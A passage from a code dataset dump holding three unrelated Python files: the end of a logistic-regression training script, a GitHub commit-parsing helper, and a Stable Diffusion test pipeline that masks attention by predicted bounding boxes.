preprocessor.fit(X_train)\n\nX_train_t = ohe.transform(X_train)\nX_test_t = ohe.transform(X_test)\n\n# transform training and test set and then convert it to dataframe\nX_train_t_array, X_train_t = dummify(ohe, X_train, category_features)\nX_test_t_array, X_test_t = dummify(ohe, X_test, category_features)\n\nX_train_t.head()\n\nX_train_columns = X_train_t.columns\n#print(X_train_columns)\n\nX_train_columns = X_train_t.columns\n#print(X_train_columns)\n\n# summarize class distribution\ncounter = Counter(y_train)\n#print(counter)\n\n# transform the dataset\noversample = SMOTE()\nX_train_smote, y_train = oversample.fit_resample(X_train_t, y_train)\n\n# summarize the new class distribution\ncounter = Counter(y_train)\n#print(counter)\n\nfinal_X_train = pd.DataFrame(data=X_train_smote,columns=X_train_columns )\nfinal_y_train = pd.DataFrame(data=y_train,columns=['y'])\n\nrfe_model = RFE(LogisticRegression(solver='lbfgs', max_iter=1000), 25)\nrfe_model = rfe_model.fit(final_X_train, np.ravel(final_y_train))\n\nselected_columns = X_train_columns[rfe_model.support_]\nprint(selected_columns.tolist())\n\nX_train_final = final_X_train[selected_columns.tolist()]\ny_train_final = final_y_train['y']\nX_test_final = X_test_t[selected_columns.tolist()]\ny_test_final = y_test\n\nX_test_final.head()\n\nlogreg = LogisticRegression()\nlogreg.fit(X_train_final, y_train_final)\n\ny_pred = logreg.predict(X_test_final)\n\nprint('\\n\\n -------------------------- RESULTS -------------------------- \\n\\n')\n\nprint('ACCURACY: \\n {:.2f}'.format(logreg.score(X_test_final, y_test_final)))\n\ncm = confusion_matrix(y_test_final, y_pred)\n\nindex = 0\nfor vals in cm:\n for val in vals:\n if index == 0:\n pnan = val\n elif index == 1:\n pyan = val\n elif index == 2:\n pnay = val\n elif index == 3:\n pyay = val\n else:\n print('something went wrong')\n index = index+1 \n\ntable = [['\\t', 'predicted NO', 'predicted YES'],\n ['actual NO', (str(pnan) + '\\t'), str(pyan)],\n ['actual YES', (str(pnay) + '\\t'), str(pyay)]]\n\nprint('\\nCONSUSION MATRIX:')\nrow_nbr = 0\nfor row in table:\n if row_nbr != 0:\n print('\\n')\n for col in row:\n sys.stdout.write(col + '\\t')\n row_nbr = row_nbr+1\n\n# Recall\nprint('\\n\\nRECALL')\nrs = recall_score(y_test_final, y_pred, average=None)\nfor val in rs:\n sys.stdout.write('{:.2f} \\t'. format(val))\n\n# Precision\nprint('\\n\\nPRECISION')\nps = precision_score(y_test_final, y_pred, average=None)\nfor val in ps:\n sys.stdout.write('{:.2f} \\t'. format(val))\n\nprint('\\n\\n ------------------------------------------------------------- \\n\\n')\n\nprint('\\nSELECTED VARIABLES\\n')\nrow=0\nfor var in selected_columns.tolist():\n sys.stdout.write(var + '\\t')\n row = row+1\n if row%2 == 0:\n print('\\n')", "repo_name": "lauribohm/python-ML", "sub_path": "logistic-regression.py", "file_name": "logistic-regression.py", "file_ext": "py", "file_size_in_byte": 5324, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "pandas.read_csv", "line_number": 19, "usage_type": "call"}, {"api_name": "sklearn.model_selection.train_test_split", "line_number": 26, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 50, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 53, "usage_type": "call"}, {"api_name": "sklearn.pipeline.Pipeline", "line_number": 58, "usage_type": "call"}, {"api_name": "sklearn.impute.SimpleImputer", "line_number": 59, "usage_type": "call"}, {"api_name": "sklearn.preprocessing.StandardScaler", "line_number": 60, "usage_type": "call"}, {"api_name": "sklearn.pipeline.Pipeline", "line_number": 63, "usage_type": "call"}, {"api_name": "sklearn.impute.SimpleImputer", "line_number": 64, "usage_type": "call"}, {"api_name": "sklearn.preprocessing.OneHotEncoder", "line_number": 65, "usage_type": "call"}, {"api_name": "sklearn.compose.ColumnTransformer", "line_number": 68, "usage_type": "call"}, {"api_name": "collections.Counter", "line_number": 91, "usage_type": "call"}, {"api_name": "imblearn.over_sampling.SMOTE", "line_number": 95, "usage_type": "call"}, {"api_name": "collections.Counter", "line_number": 99, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 102, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 103, "usage_type": "call"}, {"api_name": "sklearn.feature_selection.RFE", "line_number": 105, "usage_type": "call"}, {"api_name": "sklearn.linear_model.LogisticRegression", "line_number": 105, "usage_type": "call"}, {"api_name": "numpy.ravel", "line_number": 106, "usage_type": "call"}, {"api_name": "sklearn.linear_model.LogisticRegression", "line_number": 118, "usage_type": "call"}, {"api_name": "sklearn.metrics.confusion_matrix", "line_number": 127, "usage_type": "call"}, {"api_name": "sys.stdout.write", "line_number": 154, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 154, "usage_type": "attribute"}, {"api_name": "sklearn.metrics.recall_score", "line_number": 159, "usage_type": "call"}, {"api_name": "sys.stdout.write", "line_number": 161, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 161, "usage_type": "attribute"}, {"api_name": "sklearn.metrics.precision_score", "line_number": 165, "usage_type": "call"}, {"api_name": "sys.stdout.write", "line_number": 167, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 167, "usage_type": "attribute"}, {"api_name": "sys.stdout.write", "line_number": 174, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 174, "usage_type": "attribute"}]} +{"seq_id": "20211588933", "text": "# python3 ./documents/github/PromoAssist/Promotion.py\n\nimport json\nfrom datetime import datetime\nfrom commit_classes import Commit\nimport sys\n\nsys.stdout.write(\"\\x1b[8;40;121t\") #resize the terminal so that everything fits on it without wrapping\n\nrepos = [ #specified repos that i want\n]\nCompany = ''\ncomms = []\n\ndef getDiffs():\n index = 0\n for repo in repos:\n doc = './documents/github/PromoAssist/JSON_data/{0}.json'.format(repo)\n\n with open(doc, \"r\") as read_file:\n data = json.load(read_file)\n print(repo)\n\n for dict in data['commits']:\n #set up/reset info for each thing\n currURL = ''\n currCom = ''\n currPR = ''\n currTick = ''\n isPR = False\n isTick = False\n\n #create the object\n comms.append(Commit(index, company, repo, None, None, None, None, None, None, None))\n\n #get the title of the commmit\n for character in dict['commit']['message']:\n #print(character, end='')\n if character == \"\\n\": #this just gets the first line because the whole message is written in the url\n break\n currCom = currCom + character\n\n #loop goes through the message and searches for the PR number, and Jira ID\n for character in currCom:\n #code getting the ticket info\n if character == ']':\n isTick = False\n if isTick == True:\n currTick = currTick + character\n if character == '[':\n isTick = True\n\n #this is the code for getting the Pull Request Number, getting the Jira ticket is the same, except the opening will be []\n if character == ')':\n isPR = False\n if isPR == True:\n currPR = currPR + character\n if character == '#':\n isPR = True\n\n #add the information to the object\n comms[index].AddTitle(currCom)\n comms[index].AddAccLink(dict['html_url'])\n comms[index].AddPRLink(currPR)\n comms[index].AddJiraLink(currTick)\n #print the information\n comms[index].PrintData()\n\n index = index + 1\n\n\ngetDiffs()\n", "repo_name": "MattBegbie/PromoAssist", "sub_path": "Promotion.py", "file_name": "Promotion.py", "file_ext": "py", "file_size_in_byte": 2355, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "86", "api": [{"api_name": "sys.stdout.write", "line_number": 8, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 8, "usage_type": "attribute"}, {"api_name": "json.load", "line_number": 21, "usage_type": "call"}, {"api_name": "commit_classes.Commit", "line_number": 34, "usage_type": "call"}]} +{"seq_id": "10358578983", "text": "import json\nimport os\nimport torch\nimport argparse\nimport inspect\nfrom typing import Callable, List, Optional, Union\n\nimport imgviz\nimport numpy as np\nimport torch.nn as nn\nfrom PIL import Image, ImageDraw\nfrom tqdm.auto import tqdm\nfrom diffusers import AutoencoderKL, UNet2DConditionModel, PNDMScheduler\nfrom transformers import CLIPTokenizer, CLIPTextModel\n\nfrom utils.utils import numpy_to_pil\nfrom boxnet_models import build_model, add_boxnet_args\nfrom utils.box_ops import box_cxcywh_to_xyxy\nfrom p2p import AttentionStore, show_cross_attention, EmptyControl\n\n\nblocks = [0, 1, 2, 3]\n\n\ndef tokenize(tokenizer, prompts):\n text_inputs = tokenizer(\n prompts,\n padding=\"max_length\",\n max_length=tokenizer.model_max_length,\n truncation=True,\n return_tensors=\"pt\",\n )\n return text_inputs.input_ids\n\n\ndef save_tensors(module: nn.Module, features, name: str):\n \"\"\" Process and save activations in the module. \"\"\"\n if type(features) in [list, tuple]:\n features = [f for f in features if f is not None and isinstance(\n f, torch.Tensor)] # .float() .detach()\n setattr(module, name, features)\n elif isinstance(features, dict):\n features = {k: f for k, f in features.items()} # .float()\n setattr(module, name, features)\n else:\n setattr(module, name, features) # .float()\n\n\ndef save_out_hook(self, inp, out):\n save_tensors(self, out, 'activations')\n return out\n\n\ndef save_input_hook(self, inp, out):\n save_tensors(self, inp[0], 'activations')\n return out\n\n\ndef build_normal(u_x, u_y, d_x, d_y, step, device):\n x, y = torch.meshgrid(torch.linspace(0,1,step), torch.linspace(0,1,step))\n x = x.to(device)\n y = y.to(device)\n out_prob = (1/2/torch.pi/d_x/d_y)*torch.exp(-1/2*(torch.square((x-u_x)/d_x)+torch.square((y-u_y)/d_y)))\n return out_prob\n\ndef uniq_masks(all_masks, zero_masks=None, scale=1.0):\n uniq_masks = torch.stack(all_masks)\n # num = all_masks.shape[0]\n uniq_mask = torch.argmax(uniq_masks, dim=0)\n if zero_masks is None:\n all_masks = [((uniq_mask==i)*mask*scale).float().clamp(0, 1.0) for i, mask in enumerate(all_masks)]\n else:\n all_masks = [((uniq_mask==i)*mask*scale).float().clamp(0, 1.0) for i, mask in enumerate(zero_masks)]\n\n return all_masks\n\ndef save_img_with_box(img, bboxes, device=torch.device(\"cuda\")):\n W, H = img.size\n scale_fct = torch.tensor([W, H, W, H]).to(device)\n bboxes = bboxes * scale_fct\n colors = ['red', 'green']\n draw = ImageDraw.Draw(img)\n for n, b in enumerate(bboxes):\n draw.rectangle(((b[0], b[1]),(b[2], b[3])), fill=None, outline=colors[n], width=5)\n # save_colored_mask(os.path.join(colored_res_path, name), attn_img)\n return img\n\n\ndef build_masks(bboxes, size, mask_mode=\"gaussin_zero_one\", focus_rate=1.0):\n all_masks = []\n zero_masks = []\n for bbox in bboxes:\n x0,y0,x1,y1 = bbox\n mask = build_normal((y0+y1)/2, (x0+x1)/2, (y1-y0)/4, (x1-x0)/4, size, bbox.device)\n zero_mask = torch.zeros_like(mask)\n zero_mask[int(y0 * size):min(int(y1 * size)+1, size), int(x0 * size):min(int(x1 * size)+1, size)] = 1.0\n zero_masks.append(zero_mask)\n all_masks.append(mask)\n if mask_mode == 'zero_one':\n return zero_masks\n elif mask_mode == 'guassin':\n all_masks = uniq_masks(all_masks, scale=focus_rate)\n return all_masks\n elif mask_mode == 'gaussin_zero_one':\n all_masks = uniq_masks(all_masks, zero_masks, scale=focus_rate)\n return all_masks\n else:\n raise ValueError(\"Not supported mask_mode.\")\n\n\nclass BboxCrossAttnProcessor:\n\n def __init__(self, attnstore, place_in_unet, bboxes, entity_indexes, mask_control, mask_self, with_uncond, mask_mode, soft_mask_rate, focus_rate):\n super().__init__()\n self.attnstore = attnstore\n self.place_in_unet = place_in_unet\n self.bboxes = bboxes\n self.entity_indexes = entity_indexes\n self.mask_control = mask_control\n self.mask_self = mask_self\n self.with_uncond = with_uncond\n self.mask_mode = mask_mode\n self.soft_mask_rate = soft_mask_rate\n self.focus_rate = focus_rate\n\n def __call__(self, attn, hidden_states, encoder_hidden_states=None, attention_mask=None):\n batch_size, sequence_length, _ = hidden_states.shape\n attention_mask = attn.prepare_attention_mask(attention_mask, sequence_length)\n\n query = attn.to_q(hidden_states)\n\n is_cross = encoder_hidden_states is not None\n encoder_hidden_states = encoder_hidden_states if encoder_hidden_states is not None else hidden_states\n key = attn.to_k(encoder_hidden_states)\n value = attn.to_v(encoder_hidden_states)\n\n query = attn.head_to_batch_dim(query)\n key = attn.head_to_batch_dim(key)\n value = attn.head_to_batch_dim(value)\n\n attention_probs = attn.get_attention_scores(query, key, attention_mask)\n\n if self.with_uncond:\n cond_attention_probs = attention_probs[batch_size//2:]\n else:\n cond_attention_probs = attention_probs\n\n if self.mask_control:\n \n if is_cross:\n size = int(np.sqrt(sequence_length))\n all_masks = build_masks(self.bboxes, size, mask_mode=self.mask_mode, focus_rate=self.focus_rate)\n for pos, mask in zip(self.entity_indexes, all_masks):\n start = pos[0]\n end = pos[-1]\n if mask.sum() <= 0: # sequence_length * 0.004:\n continue\n mask = mask.reshape((sequence_length, -1)).to(hidden_states.device)\n mask = mask.expand(-1, (end-start+1))\n cond_attention_probs[:, :, start+1:end+2] = cond_attention_probs[:, :, start+1:end+2] * mask\n elif self.mask_self:\n size = int(np.sqrt(sequence_length))\n # must be 1/0\n all_masks = build_masks(self.bboxes, size, mask_mode=self.mask_mode, focus_rate=self.focus_rate)\n for img_mask in all_masks:\n if img_mask.sum() <= 0: # sequence_length * 0.004:\n continue\n img_mask = img_mask.reshape(sequence_length)\n mask_index = img_mask.nonzero().squeeze(-1)\n mask = torch.ones(sequence_length, sequence_length).to(hidden_states.device)\n\n mask[:, mask_index] = mask[:, mask_index] * img_mask.unsqueeze(-1)\n cond_attention_probs = cond_attention_probs * mask + cond_attention_probs * (1-mask) * self.soft_mask_rate\n if self.with_uncond:\n attention_probs[batch_size//2:] = cond_attention_probs\n else:\n attention_probs = cond_attention_probs\n\n self.attnstore(cond_attention_probs, is_cross, self.place_in_unet)\n\n hidden_states = torch.bmm(attention_probs, value)\n hidden_states = attn.batch_to_head_dim(hidden_states)\n\n # linear proj\n hidden_states = attn.to_out[0](hidden_states)\n # dropout\n hidden_states = attn.to_out[1](hidden_states)\n\n return hidden_states\n\n\n\ndef register_attention_control_bbox(model, controller, bboxes, entity_indexes, mask_control=False, mask_self=False, \n with_uncond=False, mask_mode='gaussin_zero_one', soft_mask_rate=0.2, focus_rate=1.0):\n\n attn_procs = {}\n cross_att_count = 0\n for name in model.unet.attn_processors.keys():\n cross_attention_dim = None if name.endswith(\"attn1.processor\") else model.unet.config.cross_attention_dim\n if name.startswith(\"mid_block\"):\n hidden_size = model.unet.config.block_out_channels[-1]\n place_in_unet = \"mid\"\n elif name.startswith(\"up_blocks\"):\n block_id = int(name[len(\"up_blocks.\")])\n hidden_size = list(reversed(model.unet.config.block_out_channels))[block_id]\n place_in_unet = \"up\"\n elif name.startswith(\"down_blocks\"):\n block_id = int(name[len(\"down_blocks.\")])\n hidden_size = model.unet.config.block_out_channels[block_id]\n place_in_unet = \"down\"\n else:\n continue\n\n cross_att_count += 1\n attn_procs[name] = BboxCrossAttnProcessor(\n attnstore=controller, place_in_unet=place_in_unet, bboxes=bboxes, entity_indexes=entity_indexes, \n mask_control=mask_control, mask_self=mask_self, with_uncond=with_uncond, mask_mode=mask_mode,\n soft_mask_rate=soft_mask_rate, focus_rate=focus_rate\n )\n\n model.unet.set_attn_processor(attn_procs)\n controller.num_att_layers = cross_att_count\n\n\nclass StableDiffusionTest():\n\n def __init__(self, model_path, device, args, boxnet_path=None):\n super().__init__()\n self.tokenizer = CLIPTokenizer.from_pretrained(\n model_path, subfolder=\"tokenizer\")\n self.text_encoder = CLIPTextModel.from_pretrained(\n os.path.join(model_path, \"text_encoder\")).to(device)\n self.vae = AutoencoderKL.from_pretrained(\n model_path, subfolder=\"vae\").to(device)\n self.unet = UNet2DConditionModel.from_pretrained(\n model_path, subfolder=\"unet\").to(device)\n self.test_scheduler = PNDMScheduler.from_pretrained(\n model_path, subfolder=\"scheduler\")\n\n if boxnet_path is not None:\n # args_parser = argparse.ArgumentParser()\n # args_parser = add_boxnet_args(args_parser)\n # args = args_parser.parse_args()\n args.no_class = True\n self.boxnet, _, _ = build_model(args)\n self.boxnet.load_state_dict(torch.load(boxnet_path))\n self.boxnet = self.boxnet.to(device)\n\n save_hook = save_out_hook\n self.feature_blocks = []\n for idx, block in enumerate(self.unet.down_blocks):\n if idx in blocks:\n block.register_forward_hook(save_hook)\n self.feature_blocks.append(block)\n\n for idx, block in enumerate(self.unet.up_blocks):\n if idx in blocks:\n block.register_forward_hook(save_hook)\n self.feature_blocks.append(block)\n\n @torch.no_grad()\n def encode_prompt(self, prompt, device, num_images_per_prompt, do_classifier_free_guidance, negative_prompt):\n batch_size = len(prompt) if isinstance(prompt, list) else 1\n text_input_ids = tokenize(self.tokenizer, prompt)\n\n # pad_index = self.tokenizer.vocab['[PAD]']\n # attention_mask = text_input_ids.ne(pad_index).type(self.text_encoder.embeddings.word_embeddings.weight.dtype).to(device)\n\n text_embeddings = self.text_encoder(\n text_input_ids.to(device),\n )\n text_embeddings = text_embeddings[0]\n # print(\"text_embeddings: \")\n # print(text_embeddings)\n\n # duplicate text embeddings for each generation per prompt, using mps friendly method\n bs_embed, seq_len, _ = text_embeddings.shape\n text_embeddings = text_embeddings.repeat(1, num_images_per_prompt, 1)\n text_embeddings = text_embeddings.view(\n bs_embed * num_images_per_prompt, seq_len, -1)\n\n # get unconditional embeddings for classifier free guidance\n if do_classifier_free_guidance:\n uncond_tokens: List[str]\n if negative_prompt is None:\n uncond_tokens = [\"\"] * batch_size\n elif type(prompt) is not type(negative_prompt):\n raise TypeError(\n f\"`negative_prompt` should be the same type to `prompt`, but got {type(negative_prompt)} !=\"\n f\" {type(prompt)}.\"\n )\n elif isinstance(negative_prompt, str):\n uncond_tokens = [negative_prompt]\n elif batch_size != len(negative_prompt):\n raise ValueError(\n f\"`negative_prompt`: {negative_prompt} has batch size {len(negative_prompt)}, but `prompt`:\"\n f\" {prompt} has batch size {batch_size}. Please make sure that passed `negative_prompt` matches\"\n \" the batch size of `prompt`.\"\n )\n else:\n uncond_tokens = negative_prompt\n\n max_length = text_input_ids.shape[-1]\n\n uncond_input_ids = tokenize(self.tokenizer, uncond_tokens)\n\n uncond_embeddings = self.text_encoder(\n # uncond_input.input_ids.to(device),\n uncond_input_ids.to(device),\n # attention_mask=uncond_attention_mask,\n )\n uncond_embeddings = uncond_embeddings[0]\n\n # duplicate unconditional embeddings for each generation per prompt, using mps friendly method\n seq_len = uncond_embeddings.shape[1]\n uncond_embeddings = uncond_embeddings.repeat(\n 1, num_images_per_prompt, 1)\n uncond_embeddings = uncond_embeddings.view(\n batch_size * num_images_per_prompt, seq_len, -1)\n\n text_embeddings = torch.cat([uncond_embeddings, text_embeddings])\n\n return text_embeddings\n\n def prepare_extra_step_kwargs(self, generator, eta):\n accepts_eta = \"eta\" in set(inspect.signature(\n self.test_scheduler.step).parameters.keys())\n extra_step_kwargs = {}\n if accepts_eta:\n extra_step_kwargs[\"eta\"] = eta\n\n # check if the scheduler accepts generator\n accepts_generator = \"generator\" in set(\n inspect.signature(self.test_scheduler.step).parameters.keys())\n if accepts_generator:\n extra_step_kwargs[\"generator\"] = generator\n return extra_step_kwargs\n\n @torch.no_grad()\n def log_imgs(\n self,\n device,\n data,\n height: Optional[int] = 512,\n width: Optional[int] = 512,\n num_inference_steps: int = 50,\n guidance_scale: float = 7.5,\n negative_prompt: Optional[Union[str, List[str]]] = None,\n eta: float = 0.0,\n generator: Optional[torch.Generator] = None,\n latents: Optional[torch.FloatTensor] = None,\n num_images_per_prompt: Optional[int] = 1,\n controller=None,\n mask_control=False,\n mask_self=True,\n mask_mode='gaussin_zero_one',\n soft_mask_rate=0.2,\n focus_rate=1.0,\n **kwargs\n ):\n # self.boxnet.eval()\n feature_blocks = []\n for idx, block in enumerate(self.unet.down_blocks):\n if idx in blocks:\n block.register_forward_hook(save_out_hook)\n feature_blocks.append(block) \n \n for idx, block in enumerate(self.unet.up_blocks):\n if idx in blocks:\n block.register_forward_hook(save_out_hook)\n feature_blocks.append(block) \n\n prompt = []\n cat_embeddings = []\n prompt.append(data[\"prompt\"])\n cat_input_id = self.tokenizer(\n data[\"phrases\"],\n padding=\"max_length\",\n max_length=self.tokenizer.model_max_length,\n truncation=True,\n return_tensors=\"pt\",\n ).input_ids.to(device)\n tmp_embed = self.text_encoder(cat_input_id)[1]\n cat_embed = torch.zeros(30, 768).to(device)\n cat_embed[:len(data[\"phrases\"])] = tmp_embed\n cat_embeddings = cat_embed.unsqueeze(0)\n box_num = len(data[\"phrases\"])\n entities = data[\"entities\"]\n\n batch_size = 1 if isinstance(prompt, str) else len(prompt)\n do_classifier_free_guidance = guidance_scale > 1.0\n\n text_embeddings = self.encode_prompt(\n prompt, device, num_images_per_prompt, do_classifier_free_guidance, negative_prompt\n )\n\n self.test_scheduler.set_timesteps(num_inference_steps, device=device)\n timesteps = self.test_scheduler.timesteps\n\n if latents is None:\n shape = (batch_size * num_images_per_prompt,\n self.unet.in_channels, height // 8, width // 8)\n latents = torch.randn(shape, generator=generator,\n device=device, dtype=text_embeddings.dtype)\n else:\n latents = latents.to(device)\n\n latents = latents * self.test_scheduler.init_noise_sigma\n\n extra_step_kwargs = self.prepare_extra_step_kwargs(generator, eta)\n\n all_boxes = []\n for i, t in enumerate(tqdm(timesteps)):\n if controller is not None:\n register_attention_control_bbox(self, controller, None, None, False, False, False, mask_mode)\n\n # predict the noise residual\n noise_pred_text = self.unet(latents, t,\n encoder_hidden_states=text_embeddings[1].unsqueeze(0)).sample\n\n ################################################################\n activations = []\n for block in feature_blocks:\n activations.append(block.activations)\n block.activations = None\n\n activations = [activations[0][0], activations[1][0], activations[2][0], activations[3][0], activations[4], activations[5], activations[6], activations[7]]\n\n assert all([isinstance(acts, torch.Tensor) for acts in activations])\n size = latents.shape[2:]\n resized_activations = []\n for acts in activations:\n acts = torch.nn.functional.interpolate(\n acts, size=size, mode=\"bilinear\"\n )\n resized_activations.append(acts)\n \n features = torch.cat(resized_activations, dim=1)\n\n sqrt_one_minus_alpha_prod = (1 - self.test_scheduler.alphas_cumprod[t]).to(device) ** 0.5\n sqrt_one_minus_alpha_prod = sqrt_one_minus_alpha_prod.flatten()\n while len(sqrt_one_minus_alpha_prod.shape) < len(noise_pred_text.shape):\n sqrt_one_minus_alpha_prod = sqrt_one_minus_alpha_prod.unsqueeze(-1)\n noise_level = sqrt_one_minus_alpha_prod * noise_pred_text\n outputs = self.boxnet(features, noise_level, queries=cat_embeddings) \n out_bbox = outputs['pred_boxes']\n boxes = box_cxcywh_to_xyxy(out_bbox)\n boxes = boxes[0][:box_num]\n \n # expand the latents if we are doing classifier free guidance\n latent_model_input = torch.cat(\n [latents] * 2) if do_classifier_free_guidance else latents\n latent_model_input = self.test_scheduler.scale_model_input(\n latent_model_input, t)\n \n if controller is not None:\n register_attention_control_bbox(self, controller, boxes, entities, mask_control=mask_control, mask_self=mask_self, \n with_uncond=True, mask_mode=mask_mode, soft_mask_rate=soft_mask_rate, focus_rate=focus_rate)\n\n noise_pred = self.unet(latent_model_input, t,\n encoder_hidden_states=text_embeddings).sample\n # perform guidance\n if do_classifier_free_guidance:\n noise_pred_uncond, noise_pred_text = noise_pred.chunk(2)\n noise_pred = noise_pred_uncond + guidance_scale * \\\n (noise_pred_text - noise_pred_uncond)\n if controller is not None:\n latents = controller.step_callback(latents)\n\n # compute the previous noisy sample x_t -> x_t-1\n latents = self.test_scheduler.step(\n noise_pred, t, latents, **extra_step_kwargs).prev_sample\n\n latents = 1 / 0.18215 * latents\n image = self.vae.decode(latents).sample\n image = (image / 2 + 0.5).clamp(0, 1)\n # we always cast to float32 as this does not cause significant overhead and is compatible with bfloa16\n image = image.cpu().permute(0, 2, 3, 1).float().numpy()\n image = numpy_to_pil(image)\n if controller is not None:\n _, attn_img = show_cross_attention(\n prompt, self.tokenizer, controller, res=16, from_where=(\"up\", \"down\"), save_img=False)\n\n return image, all_boxes, attn_img\n\n\ndef save_colored_mask(save_path, mask_pil):\n \"\"\"保存调色板彩色图\"\"\"\n lbl_pil = mask_pil.convert('P')\n # lbl_pil = Image.fromarray(mask.astype(np.uint8), mode='P')\n colormap = imgviz.label_colormap(80)\n lbl_pil.putpalette(colormap.flatten())\n lbl_pil.save(save_path)\n\n\ndef save_bbox_img(colored_res_path, bboxes, size=512, name=\"bbox.png\"):\n scale_fct = torch.tensor([size, size, size, size]).to(device)\n bboxes = bboxes * scale_fct\n out_image = Image.new('L', (size, size), 0)\n draw = ImageDraw.Draw(out_image)\n for n, b in enumerate(bboxes):\n\n draw.rectangle(((b[0], b[1]), (b[2], b[3])),\n fill=None, outline=n+1, width=5)\n save_colored_mask(os.path.join(colored_res_path, name), out_image)\n return out_image\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser()\n parser.add_argument('--prompt_file', default='test_prompts.json', type=str,\n help=\"Prompt file to generate images.\")\n parser.add_argument('--stable_model_path', required=True,\n type=str, help=\"Original stable diffusion model path.\")\n parser.add_argument('--boxnet_model_path', required=True,\n type=str, help=\"BoxNet model path.\")\n parser.add_argument('--output_dir', required=True, type=str,\n help=\"Output dir for results.\")\n parser.add_argument('--seed', default=30850, type=int,\n help=\"Random seed.\")\n parser.add_argument('--mask_mode', default='gaussin_zero_one', type=str, choices=['gaussin_zero_one', 'zero_one'],\n help=\"mask mode.\")\n parser.add_argument('--soft_mask_rate', default=0.2, type=float,\n help=\"Soft mask rate for self mask.\")\n parser.add_argument('--focus_rate', default=1.0, type=int,\n help=\"Focus rate on area in-box\")\n parser = add_boxnet_args(parser)\n args = parser.parse_args()\n\n device = torch.device(\"cuda\")\n with open(args.prompt_file, \"r\", encoding='utf-8') as f:\n inputs = json.load(f)\n model_path = args.stable_model_path\n boxnet_path = args.boxnet_model_path\n save_path = args.output_dir\n os.makedirs(save_path, exist_ok=True)\n mask_self=True\n amc_test = StableDiffusionTest(model_path, device, args, boxnet_path=boxnet_path)\n generator = torch.Generator(device=device).manual_seed(args.seed)\n\n for i, cur_input in enumerate(inputs):\n print(inputs[i]['prompt'])\n cur_input['bboxes'] = None\n cur_path = os.path.join(save_path, \"{}\".format(i))\n os.makedirs(cur_path, exist_ok=True)\n # controller = AttentionStore()\n # images, all_step_bboxes, attn_img = amc_test.log_imgs(\n # device, cur_input, num_images_per_prompt=1, generator=generator, controller=controller, mask_control=False, mask_self=mask_self,\n # mask_mode=args.mask_mode, soft_mask_rate=args.soft_mask_rate, focus_rate=args.focus_rate)\n\n # images[0].save(os.path.join(cur_path, f\"result.jpg\"))\n # for k, bboxes in enumerate(all_step_bboxes):\n # save_bbox_img(cur_path, bboxes, name=f\"bbox_{k}.png\")\n # # print(bboxes)\n # attn_img.save(os.path.join(cur_path, f\"attn.jpg\"))\n controller = AttentionStore()\n images, all_step_bboxes, attn_img = amc_test.log_imgs(\n device, cur_input, num_images_per_prompt=1, generator=generator, controller=controller, mask_control=True, mask_self=mask_self,\n mask_mode=args.mask_mode, soft_mask_rate=args.soft_mask_rate, focus_rate=args.focus_rate)\n\n images[0].save(os.path.join(cur_path, f\"masked_result.jpg\"))\n for k, bboxes in enumerate(all_step_bboxes):\n save_bbox_img(cur_path, bboxes, name=f\"masked_bbox_{k}.png\")\n # print(bboxes)\n attn_img.save(os.path.join(cur_path, f\"masked_attn.jpg\"))\n", "repo_name": "Wrch1994/attention-mask-control", "sub_path": "test_pipeline_onestage.py", "file_name": "test_pipeline_onestage.py", "file_ext": "py", "file_size_in_byte": 24159, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "torch.nn.Module", "line_number": 36, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 36, "usage_type": "name"}, {"api_name": "torch.Tensor", "line_number": 40, "usage_type": "attribute"}, {"api_name": "torch.meshgrid", "line_number": 60, "usage_type": "call"}, {"api_name": "torch.linspace", "line_number": 60, "usage_type": "call"}, {"api_name": "torch.pi", "line_number": 63, "usage_type": "attribute"}, {"api_name": "torch.exp", "line_number": 63, "usage_type": "call"}, {"api_name": "torch.square", "line_number": 63, "usage_type": "call"}, {"api_name": "torch.stack", "line_number": 67, "usage_type": "call"}, {"api_name": "torch.argmax", "line_number": 69, "usage_type": "call"}, {"api_name": "torch.device", "line_number": 77, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 79, "usage_type": "call"}, {"api_name": "PIL.ImageDraw.Draw", "line_number": 82, "usage_type": "call"}, {"api_name": "PIL.ImageDraw", "line_number": 82, "usage_type": "name"}, {"api_name": "torch.zeros_like", "line_number": 95, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 151, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 162, "usage_type": "call"}, {"api_name": "torch.ones", "line_number": 170, "usage_type": "call"}, {"api_name": "torch.bmm", "line_number": 181, "usage_type": "call"}, {"api_name": "transformers.CLIPTokenizer.from_pretrained", "line_number": 229, "usage_type": "call"}, {"api_name": "transformers.CLIPTokenizer", "line_number": 229, "usage_type": "name"}, {"api_name": "transformers.CLIPTextModel.from_pretrained", "line_number": 231, "usage_type": "call"}, {"api_name": "transformers.CLIPTextModel", "line_number": 231, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 232, "usage_type": "call"}, {"api_name": "os.path", "line_number": 232, "usage_type": "attribute"}, {"api_name": "diffusers.AutoencoderKL.from_pretrained", "line_number": 233, "usage_type": "call"}, {"api_name": "diffusers.AutoencoderKL", "line_number": 233, "usage_type": "name"}, {"api_name": "diffusers.UNet2DConditionModel.from_pretrained", "line_number": 235, "usage_type": "call"}, {"api_name": "diffusers.UNet2DConditionModel", "line_number": 235, "usage_type": "name"}, {"api_name": "diffusers.PNDMScheduler.from_pretrained", "line_number": 237, "usage_type": "call"}, {"api_name": "diffusers.PNDMScheduler", "line_number": 237, "usage_type": "name"}, {"api_name": "boxnet_models.build_model", "line_number": 245, "usage_type": "call"}, {"api_name": "torch.load", "line_number": 246, "usage_type": "call"}, {"api_name": "typing.List", "line_number": 284, "usage_type": "name"}, {"api_name": 